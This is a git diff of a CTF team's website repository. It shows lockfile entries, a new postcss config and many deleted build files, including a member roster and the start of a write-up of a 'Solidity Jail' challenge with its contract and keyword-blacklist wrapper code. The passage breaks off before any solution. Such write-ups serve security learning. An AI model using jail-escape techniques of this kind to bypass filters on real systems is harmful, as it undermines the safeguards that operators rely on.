chownr: 2.0.0 + fs-minipass: 2.1.0 + minipass: 5.0.0 + minizlib: 2.1.2 + mkdirp: 1.0.4 + yallist: 4.0.0 + + terser@5.43.1: + dependencies: + '@jridgewell/source-map': 0.3.10 + acorn: 8.15.0 + commander: 2.20.3 + source-map-support: 0.5.21 + + thenify-all@1.6.0: + dependencies: + thenify: 3.3.1 + + thenify@3.3.1: + dependencies: + any-promise: 1.3.0 + + tiny-glob@0.2.9: + dependencies: + globalyzer: 0.1.0 + globrex: 0.1.2 + + tiny-inflate@1.0.3: {} + + tinyexec@0.3.2: {} + + tinyglobby@0.2.15: + dependencies: + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + tosource@2.0.0-alpha.3: {} + + tr46@0.0.3: {} + + trim-lines@3.0.1: {} + + trough@2.2.0: {} + + ts-interface-checker@0.1.13: {} + + tsconfck@3.1.6(typescript@5.9.3): + optionalDependencies: + typescript: 5.9.3 + + tslib@2.7.0: {} + + tslib@2.8.1: {} + + tw-animate-css@1.4.0: {} + + type-fest@4.41.0: {} + + typed-array-buffer@1.0.3: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-typed-array: 1.1.15 + + typed-array-byte-length@1.0.3: + dependencies: + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + + typed-array-byte-offset@1.0.4: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + reflect.getprototypeof: 1.0.10 + + typed-array-length@1.0.7: + dependencies: + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + is-typed-array: 1.1.15 + possible-typed-array-names: 1.1.0 + reflect.getprototypeof: 1.0.10 + + typed-query-selector@2.12.0: {} + + typesafe-path@0.2.2: {} + + typescript-auto-import-cache@0.3.5: + dependencies: + semver: 7.7.2 + + typescript@4.9.5: {} + + typescript@5.9.3: {} + + uc.micro@2.1.0: {} + + ufo@1.6.1: {} + + ultrahtml@1.6.0: {} + + unbox-primitive@1.1.0: + dependencies: + call-bound: 1.0.4 + has-bigints: 1.1.0 + has-symbols: 1.1.0 + which-boxed-primitive: 1.1.1 + + uncrypto@0.1.3: {} + + undici-types@6.19.8: {} + + undici-types@7.12.0: {} + + undici@6.21.2: {} + + unicode-canonical-property-names-ecmascript@2.0.1: {} + + unicode-match-property-ecmascript@2.0.0: + dependencies: + unicode-canonical-property-names-ecmascript: 2.0.1 + unicode-property-aliases-ecmascript: 2.1.0 + + unicode-match-property-value-ecmascript@2.2.0: {} + + unicode-properties@1.4.1: + dependencies: + base64-js: 1.5.1 + unicode-trie: 2.0.0 + + unicode-property-aliases-ecmascript@2.1.0: {} + + unicode-trie@2.0.0: + dependencies: + pako: 0.2.9 + tiny-inflate: 1.0.3 + + unified@11.0.5: + dependencies: + '@types/unist': 3.0.3 + bail: 2.0.2 + devlop: 1.1.0 + extend: 3.0.2 + is-plain-obj: 4.1.0 + trough: 2.2.0 + vfile: 6.0.3 + + unifont@0.5.2: + dependencies: + css-tree: 3.1.0 + ofetch: 1.4.1 + ohash: 2.0.11 + + unist-util-find-after@4.0.1: + dependencies: + '@types/unist': 2.0.11 + unist-util-is: 5.2.1 + + unist-util-find-after@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.0 + + unist-util-is@5.2.1: + dependencies: + '@types/unist': 2.0.11 + + unist-util-is@6.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-map@3.1.3: + dependencies: + '@types/unist': 2.0.11 + + unist-util-modify-children@4.0.0: + dependencies: + '@types/unist': 3.0.3 + array-iterate: 2.0.1 + + unist-util-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-remove-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-visit: 5.0.0 + + unist-util-stringify-position@4.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-children@3.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-parents@5.1.3: + dependencies: + '@types/unist': 2.0.11 + unist-util-is: 5.2.1 + + unist-util-visit-parents@6.0.1: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.0 + + unist-util-visit@4.1.2: + dependencies: + '@types/unist': 2.0.11 + unist-util-is: 5.2.1 + unist-util-visit-parents: 5.1.3 + + unist-util-visit@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.0 + unist-util-visit-parents: 6.0.1 + + universalify@2.0.1: {} + + unstorage@1.17.1: + dependencies: + anymatch: 3.1.3 + chokidar: 4.0.3 + destr: 2.0.5 + h3: 1.15.4 + lru-cache: 10.4.3 + node-fetch-native: 1.6.7 + ofetch: 1.4.1 + ufo: 1.6.1 + + update-browserslist-db@1.1.3(browserslist@4.24.4): + dependencies: + browserslist: 4.24.4 + escalade: 3.2.0 + picocolors: 1.1.1 + + update-browserslist-db@1.1.3(browserslist@4.25.1): + dependencies: + browserslist: 4.25.1 + escalade: 3.2.0 + picocolors: 1.1.1 + + util-deprecate@1.0.2: {} + + vfile-location@5.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile: 6.0.3 + + vfile-message@4.0.3: + dependencies: + '@types/unist': 3.0.3 + unist-util-stringify-position: 4.0.0 + + vfile@6.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile-message: 4.0.3 + + vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0): + dependencies: + esbuild: 0.25.10 + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + postcss: 8.5.6 + rollup: 4.52.2 + tinyglobby: 0.2.15 + optionalDependencies: + '@types/node': 24.5.2 + fsevents: 2.3.3 + jiti: 1.21.7 + lightningcss: 1.29.3 + sass: 1.80.4 + stylus: 0.64.0 + terser: 5.43.1 + yaml: 2.7.0 + + vite@6.4.1(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0): + dependencies: + esbuild: 0.25.10 + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + postcss: 8.5.6 + rollup: 4.52.2 + tinyglobby: 0.2.15 + optionalDependencies: + '@types/node': 24.5.2 + fsevents: 2.3.3 + jiti: 1.21.7 + lightningcss: 1.29.3 + sass: 1.80.4 + stylus: 0.64.0 + terser: 5.43.1 + yaml: 2.7.0 + + vitefu@1.1.1(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)): + optionalDependencies: + vite: 6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + + volar-service-css@0.0.62(@volar/language-service@2.4.12): + dependencies: + vscode-css-languageservice: 6.3.3 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + + volar-service-emmet@0.0.62(@volar/language-service@2.4.12): + dependencies: + '@emmetio/css-parser': 0.4.0 + '@emmetio/html-matcher': 1.3.0 + '@vscode/emmet-helper': 2.11.0 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + + volar-service-html@0.0.62(@volar/language-service@2.4.12): + dependencies: + vscode-html-languageservice: 5.3.3 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + + volar-service-prettier@0.0.62(@volar/language-service@2.4.12)(prettier@3.6.2): + dependencies: + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + prettier: 3.6.2 + + volar-service-typescript-twoslash-queries@0.0.62(@volar/language-service@2.4.12): + dependencies: + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + + volar-service-typescript@0.0.62(@volar/language-service@2.4.12): + dependencies: + path-browserify: 1.0.1 + semver: 7.7.2 + typescript-auto-import-cache: 0.3.5 + vscode-languageserver-textdocument: 1.0.12 + vscode-nls: 5.2.0 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + + volar-service-yaml@0.0.62(@volar/language-service@2.4.12): + dependencies: + vscode-uri: 3.1.0 + yaml-language-server: 1.15.0 + optionalDependencies: + '@volar/language-service': 2.4.12 + + vscode-css-languageservice@6.3.3: + dependencies: + '@vscode/l10n': 0.0.18 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + + vscode-html-languageservice@5.3.3: + dependencies: + '@vscode/l10n': 0.0.18 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + + vscode-json-languageservice@4.1.8: + dependencies: + jsonc-parser: 3.3.1 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-nls: 5.2.0 + vscode-uri: 3.1.0 + + vscode-jsonrpc@6.0.0: {} + + vscode-jsonrpc@8.2.0: {} + + vscode-languageserver-protocol@3.16.0: + dependencies: + vscode-jsonrpc: 6.0.0 + vscode-languageserver-types: 3.16.0 + + vscode-languageserver-protocol@3.17.5: + dependencies: + vscode-jsonrpc: 8.2.0 + vscode-languageserver-types: 3.17.5 + + vscode-languageserver-textdocument@1.0.12: {} + + vscode-languageserver-types@3.16.0: {} + + vscode-languageserver-types@3.17.5: {} + + vscode-languageserver@7.0.0: + dependencies: + vscode-languageserver-protocol: 3.16.0 + + vscode-languageserver@9.0.1: + dependencies: + vscode-languageserver-protocol: 3.17.5 + + vscode-nls@5.2.0: {} + + vscode-uri@3.1.0: {} + + web-namespaces@2.0.1: {} + + webidl-conversions@3.0.1: {} + + whatwg-encoding@3.1.1: + dependencies: + iconv-lite: 0.6.3 + + whatwg-mimetype@4.0.0: {} + + whatwg-url@5.0.0: + dependencies: + tr46: 0.0.3 + webidl-conversions: 3.0.1 + + which-boxed-primitive@1.1.1: + dependencies: + is-bigint: 1.1.0 + is-boolean-object: 1.2.2 + is-number-object: 1.1.1 + is-string: 1.1.1 + is-symbol: 1.1.1 + + which-builtin-type@1.2.1: + dependencies: + call-bound: 1.0.4 + function.prototype.name: 1.1.8 + has-tostringtag: 1.0.2 + is-async-function: 2.1.1 + is-date-object: 1.1.0 + is-finalizationregistry: 1.1.1 + is-generator-function: 1.1.0 + is-regex: 1.2.1 + is-weakref: 1.1.1 + isarray: 2.0.5 + which-boxed-primitive: 1.1.1 + which-collection: 1.0.2 + which-typed-array: 1.1.19 + + which-collection@1.0.2: + dependencies: + is-map: 2.0.3 + is-set: 2.0.3 + is-weakmap: 2.0.2 + is-weakset: 2.0.4 + + which-pm-runs@1.1.0: {} + + which-typed-array@1.1.19: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + for-each: 0.3.5 + get-proto: 1.0.1 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + widest-line@5.0.0: + dependencies: + string-width: 7.2.0 + + wrap-ansi@7.0.0: + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + + wrap-ansi@8.1.0: + dependencies: + ansi-styles: 6.2.3 + string-width: 5.1.2 + strip-ansi: 7.1.2 + + wrap-ansi@9.0.2: + dependencies: + ansi-styles: 6.2.3 + string-width: 7.2.0 + strip-ansi: 7.1.2 + + wrappy@1.0.2: {} + + ws@8.17.1: {} + + xxhash-wasm@1.1.0: {} + + y18n@5.0.8: {} + + yallist@3.1.1: {} + + yallist@4.0.0: {} + + yaml-language-server@1.15.0: + dependencies: + ajv: 8.17.1 + lodash: 4.17.21 + request-light: 0.5.8 + vscode-json-languageservice: 4.1.8 + vscode-languageserver: 7.0.0 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-nls: 5.2.0 + vscode-uri: 3.1.0 + yaml: 2.2.2 + optionalDependencies: + prettier: 2.8.7 + + yaml@1.10.2: {} + + yaml@2.2.2: {} + + yaml@2.7.0: {} + + yargs-parser@21.1.1: {} + + yargs@17.7.2: + dependencies: + cliui: 8.0.1 + escalade: 3.2.0 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + string-width: 4.2.3 + y18n: 5.0.8 + yargs-parser: 21.1.1 + + yauzl@2.10.0: + dependencies: + buffer-crc32: 0.2.13 + fd-slicer: 1.1.0 + + yocto-queue@1.2.1: {} + + yocto-spinner@0.2.3: + dependencies: + yoctocolors: 2.1.2 + + yoctocolors@2.1.2: {} + + zimmerframe@1.1.4: {} + + zod-to-json-schema@3.24.6(zod@3.25.76): + dependencies: + zod: 3.25.76 + + zod-to-ts@1.2.0(typescript@5.9.3)(zod@3.25.76): + dependencies: + typescript: 5.9.3 + zod: 3.25.76 + + zod@3.25.76: {} + + zwitch@2.0.4: {} diff --git a/postcss.config.mjs b/postcss.config.mjs new file mode 100644 index 00000000..632eeda9 --- /dev/null +++ b/postcss.config.mjs @@ -0,0 +1,11 @@ +import postcssImport from 'postcss-import'; +import postcssNesting from 'tailwindcss/nesting/index.js'; +import tailwindcss from 'tailwindcss'; + +export default { + plugins: { + 'postcss-import': postcssImport, // to combine multiple css files + 'tailwindcss/nesting': postcssNesting, + tailwindcss: tailwindcss, + } +}; diff --git a/public/404.html b/public/404.html deleted file mode 100644 index 700361bc..00000000 --- a/public/404.html +++ /dev/null @@ -1,1971 +0,0 @@ - - - - - 404 NOT FOUND - - - - - - - - - - - - -
-
-
-
-
-
-
- -
-

ERROR 404

-

- Oh no it seems we cannot find the page you are looking for, - check that the url is typed in correctly and try again -

- -
-
-
-
-
-
-

- If the problem persists - contact us - -

-
-
-
-
-
-
- - - - diff --git a/public/audio/beneath_the_surface/beneath_the_surface.wav b/public/audio/beneath_the_surface/beneath_the_surface.wav deleted file mode 100644 index 359ec879..00000000 Binary files a/public/audio/beneath_the_surface/beneath_the_surface.wav and /dev/null differ diff --git a/public/categories/index.html b/public/categories/index.html deleted file mode 100644 index 30f0c888..00000000 --- a/public/categories/index.html +++ /dev/null @@ -1,235 +0,0 @@ - - - - - - - - - - - Categories - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-

Categories

-
-
-
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/categories/index.xml b/public/categories/index.xml deleted file mode 100644 index 1ebe63f2..00000000 --- a/public/categories/index.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - Categories on ByteTheCookies - http://localhost:1313/categories/ - Recent content in Categories on ByteTheCookies - Hugo -- gohugo.io - en - - \ No newline at end of file diff --git a/public/changelog/index.html b/public/changelog/index.html deleted file mode 100644 index 14b303b3..00000000 --- a/public/changelog/index.html +++ /dev/null @@ -1,240 +0,0 @@ - - - - - - - - - - - Changelog - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/changelog/index.xml b/public/changelog/index.xml deleted file mode 100644 index abaef764..00000000 --- a/public/changelog/index.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - Changelog on ByteTheCookies - http://localhost:1313/changelog/ - Recent content in Changelog on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 05 Aug 2024 17:54:14 +0200 - - \ No newline at end of file diff --git a/public/changelog/page/1/index.html b/public/changelog/page/1/index.html deleted file mode 100644 index 64dcce88..00000000 --- a/public/changelog/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/changelog/ - - - - - - diff --git a/public/contacts/index.html b/public/contacts/index.html deleted file mode 100644 index 33f6d8a9..00000000 --- a/public/contacts/index.html +++ /dev/null @@ -1,296 +0,0 @@ - - - - - - - - - - - Contacts - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - -
- - - - -
- - - - - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/contacts/index.xml b/public/contacts/index.xml deleted file mode 100644 index 3a55df19..00000000 --- a/public/contacts/index.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - Contacts on ByteTheCookies - http://localhost:1313/contacts/ - Recent content in Contacts on ByteTheCookies - Hugo -- gohugo.io - en - - \ No newline at end of file diff --git a/public/contacts/page/1/index.html b/public/contacts/page/1/index.html deleted file mode 100644 index 95c67f95..00000000 --- a/public/contacts/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/contacts/ - - - - - - diff --git a/public/events/index.html b/public/events/index.html deleted file mode 100644 index f7cfd3bc..00000000 --- a/public/events/index.html +++ /dev/null @@ -1,213 +0,0 @@ - - - - - - - - Events - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - - - - -
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/events/index.xml b/public/events/index.xml deleted file mode 100644 index e618af6f..00000000 --- a/public/events/index.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - Events on ByteTheCookies - http://localhost:1313/events/ - Recent content in Events on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 05 Aug 2024 17:54:00 +0200 - - \ No newline at end of file diff --git a/public/events/page/1/index.html b/public/events/page/1/index.html deleted file mode 100644 index 86c5d9bb..00000000 --- a/public/events/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/events/ - - - - - - diff --git a/public/fonts/JetBrainsMonoNLNerdFont-Regular.ttf b/public/fonts/JetBrainsMonoNLNerdFont-Regular.ttf deleted file mode 100644 index 68399f4e..00000000 Binary files a/public/fonts/JetBrainsMonoNLNerdFont-Regular.ttf and /dev/null differ diff --git a/public/icons/Unconfirmed 336730.crdownload b/public/icons/Unconfirmed 336730.crdownload deleted file mode 100644 index 599c8cd3..00000000 --- a/public/icons/Unconfirmed 336730.crdownload +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/public/icons/Unconfirmed 925461.crdownload b/public/icons/Unconfirmed 925461.crdownload deleted file mode 100644 index 149830a6..00000000 --- a/public/icons/Unconfirmed 925461.crdownload +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/public/icons/cookie.svg b/public/icons/cookie.svg deleted file mode 100644 index ccb28a22..00000000 --- a/public/icons/cookie.svg +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/icons/discord.svg b/public/icons/discord.svg deleted file mode 100644 index 23753d3e..00000000 --- a/public/icons/discord.svg +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/public/icons/nft.png b/public/icons/nft.png deleted file mode 100644 index d157e055..00000000 Binary files a/public/icons/nft.png and /dev/null differ diff --git a/public/index.html b/public/index.html deleted file mode 100644 index 63e1cccd..00000000 --- a/public/index.html +++ /dev/null @@ -1,1338 +0,0 @@ - - - - - - - - - - - - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- -
- - - - -
- -
-
- -
- balloon_head -
- - -
-
- -
- balloon_head -
- - -
- -
- -
- -
- -
- -
-
- -
- balloon_head -
- - -
-
- -
- balloon_head -
- - -
-
- -
- - - -
- - - - - - -
-
-
-
-
- -
- -
- -
- -
-
About us
-
-
- -
- -
- -
- -
- - -
- -
- -
- -
- -
- - - -
- - -

Hello, we are ByteTheCookies (BTC), a passionate CTF team formed by students from the University of Salerno after participating in the CyberChallenge 2024. Our mission is to push the boundaries of our skills and knowledge in the ever-evolving field of IT security. We thrive on solving complex challenges, learning from each other, and staying ahead of the curve in cybersecurity. Whether it’s cryptography, reverse engineering, web exploitation, or any other domain, we are committed to continuous growth and excellence.

- -
-
-
-
-
- -
- -
- -
- -
-
Members
-
-
- -
- -
- -
- -
- - -
- -
- -
- -
- - - -
- - -
- - - - - -
-
-
-
- - Badge - -
-
-

Davide Amoruso

-
- -

@bl4ck_sky

-
-
-

University of Salerno

-
-
- - - - Osint - - - - Crypto - - - - Web - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Francesco Memoli

-
- -

@akiidjk

-
-
-

University of Salerno

-
-
- - - - Web - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Vito Altieri

-
- -

@vympel

-
-
-

University of Salerno

-
-
- - - - Crypto - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Alessandro Cavaliere

-
- -

@galexela

-
-
-

University of Salerno

-
-
- - - - Web - - - - Block - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Daniele Migliore

-
- -

@the_dann

-
-
-

University of Salerno

-
-
- - - - Rev - - - - Pwn - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Jose Sgariglia

-
- -

@josekonpyuta

-
-
-

University of Salerno

-
-
- - - - Crypto - - - - Misc - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Salvatore Ruocco

-
- -

@tatore

-
-
-

University of Salerno

-
-
- - - - Web - - - - Pwn - - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Antonio Facchiano

-
- -

@simplesso

-
-
-

University of Salerno

-
-
- - - - Rev - - - - Pwn - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Giulio Incoronato

-
- -

@shackwove

-
-
-

University of Salerno

-
-
- - - - Web - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Giorgio

-
- -

@ebreo

-
-
-

Sapienza University of Rome

-
-
- - - - Pwn - - - - Rev - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Alessandro Manfredi

-
- -

@unnomechbeho

-
-
-

University of Salerno

-
-
- - - - Web - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Luigi Landi

-
- -

@landiluigi746

-
-
-

HighSchool student

-
-
- - - - Pwn - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Dennis Amiranda

-
- -

@demr

-
-
-

University of Salerno

-
-
- - - - Crypto - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Walter D'Ambrosio

-
- -

@wXlter

-
-
-

University of Salerno

-
-
- - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Salvatore Russo

-
- -

@sasy

-
-
-

University of Salerno

-
-
- - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Daniele Liguori

-
- -

@danlig

-
-
-

University of Salerno

-
-
- - - - OG - -
-
-
- - - - - -
-
-
-
- - Badge - -
-
-

Marco Santoriello

-
- -

@marcus

-
-
-

University of Salerno

-
-
- - - - OG - -
-
-
- - - - -
- -
-
-
- -
- - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/index.json b/public/index.json deleted file mode 100644 index e4df487e..00000000 --- a/public/index.json +++ /dev/null @@ -1 +0,0 @@ -[{"content":"Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common.\nIntroducing for the first time, Solidity Jail! Make a contract to read the flag!\nIntroduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat.\nIn this challenge, we interacted with a remote server that executed Solidity function code we submitted. The goal? Extract a flag from another contract on the same blockchain. But there was a twist: a blacklist carefully crafted to block obvious approaches.\nNavigating this puzzle felt like exploring the EVM itself. Dead ends and misleading paths were everywhere. Yet the final solution emerged smoothly, clever in its simplicity, proving that even the trickiest Solidity jail can be cracked with the right insight.\nAnalysis of the challange First off, let’s scope out the setup. We were provided with two key files:\nJail.sol: The target contract, named in the solidity as BytecodeRunner, which features a public variable called flag and a run() function. // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract BytecodeRunner { string public flag = \u0026quot;wwf{REDACTED}\u0026quot;; function run(bytes memory _bytecode, bytes32 _salt) public returns (bool success, bytes memory result) { address newContract; assembly { newContract := create2( 0, add(_bytecode, 0x20), mload(_bytecode), _salt ) if iszero(newContract) { revert(0, 0) } } bytes memory callData = abi.encodeWithSelector( bytes4(keccak256(\u0026quot;main()\u0026quot;)) ); (success, result) = newContract.call(callData); require(success, \u0026quot;Execution of main() failed.\u0026quot;); } } As you can see, the run() function takes our bytecode, deploys it using create2, and then calls our main() function.\njailTalk.py: The server-side helper. It wraps whatever we submit inside a Solution contract, compiles it, and sends the resulting bytecode to the run function of BytecodeRunner. #!/usr/local/bin/python import signal from solcx import compile_standard import os from web3 import Web3 import string import requests from urllib.parse import urlparse contr_add = os.environ.get(\u0026quot;CONTRACT_ADDDR\u0026quot;) rpc_url = os.environ.get(\u0026quot;RPC_URL\u0026quot;) try: parsed = urlparse(rpc_url) resp = requests.get(f\u0026quot;{parsed.scheme}://{parsed.netloc}\u0026quot;) if resp.text != \u0026quot;ok\u0026quot;: print(\u0026quot;Contact admins challenge not working...\u0026quot;) exit() except Exception as e: print(\u0026quot;Contact admins challenge not working...\u0026quot;) exit() print(\u0026quot;Enter the body of main() (end with three blank lines):\u0026quot;) lines = [] empty_count = 0 while True: try: line = input() except EOFError: break if line.strip() == \u0026quot;\u0026quot;: empty_count += 1 else: empty_count = 0 if empty_count \u0026gt;= 3: lines = lines[:-2] break lines.append(line) body = \u0026quot;\\n\u0026quot;.join(f\u0026quot; {l}\u0026quot; for l in lines) if not all(ch in string.printable for ch in body): raise ValueError(\u0026quot;Non-printable characters detected in contract.\u0026quot;) blacklist = [ \u0026quot;flag\u0026quot;, \u0026quot;transfer\u0026quot;, \u0026quot;address\u0026quot;, \u0026quot;this\u0026quot;, \u0026quot;block\u0026quot;, \u0026quot;tx\u0026quot;, \u0026quot;origin\u0026quot;, \u0026quot;gas\u0026quot;, \u0026quot;fallback\u0026quot;, \u0026quot;receive\u0026quot;, \u0026quot;selfdestruct\u0026quot;, \u0026quot;suicide\u0026quot; ] if any(banned in body for banned in blacklist): raise ValueError(f\u0026quot;Blacklisted string found in contract.\u0026quot;) source = f\u0026quot;\u0026quot;\u0026quot;// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract Solution {{ function main() external returns (string memory) {{ {body} }} }} \u0026quot;\u0026quot;\u0026quot; print(\u0026quot;Final contract with inserted main() body:\u0026quot;) print(source) compiled = compile_standard( { \u0026quot;language\u0026quot;: \u0026quot;Solidity\u0026quot;, \u0026quot;sources\u0026quot;: {\u0026quot;Solution.sol\u0026quot;: {\u0026quot;content\u0026quot;: source}}, \u0026quot;settings\u0026quot;: { \u0026quot;outputSelection\u0026quot;: { \u0026quot;*\u0026quot;: { \u0026quot;*\u0026quot;: [\u0026quot;evm.bytecode.object\u0026quot;] } } }, }, solc_version=\u0026quot;0.8.20\u0026quot;, ) bytecode_hex = \u0026quot;0x\u0026quot; + compiled[\u0026quot;contracts\u0026quot;][\u0026quot;Solution.sol\u0026quot;][\u0026quot;Solution\u0026quot;][\u0026quot;evm\u0026quot;][\u0026quot;bytecode\u0026quot;][\u0026quot;object\u0026quot;] salt_hex = \u0026quot;0x\u0026quot; + os.urandom(32).hex() web3 = Web3(Web3.HTTPProvider(rpc_url)) contr_abi = [{\u0026quot;inputs\u0026quot;:[],\u0026quot;name\u0026quot;:\u0026quot;flag\u0026quot;,\u0026quot;outputs\u0026quot;:[{\u0026quot;internalType\u0026quot;:\u0026quot;string\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;string\u0026quot;}],\u0026quot;stateMutability\u0026quot;:\u0026quot;view\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;function\u0026quot;},{\u0026quot;inputs\u0026quot;:[{\u0026quot;internalType\u0026quot;:\u0026quot;bytes\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;_bytecode\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;bytes\u0026quot;},{\u0026quot;internalType\u0026quot;:\u0026quot;bytes32\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;_salt\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;bytes32\u0026quot;}],\u0026quot;name\u0026quot;:\u0026quot;run\u0026quot;,\u0026quot;outputs\u0026quot;:[{\u0026quot;internalType\u0026quot;:\u0026quot;bool\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;success\u0026quot;,\u002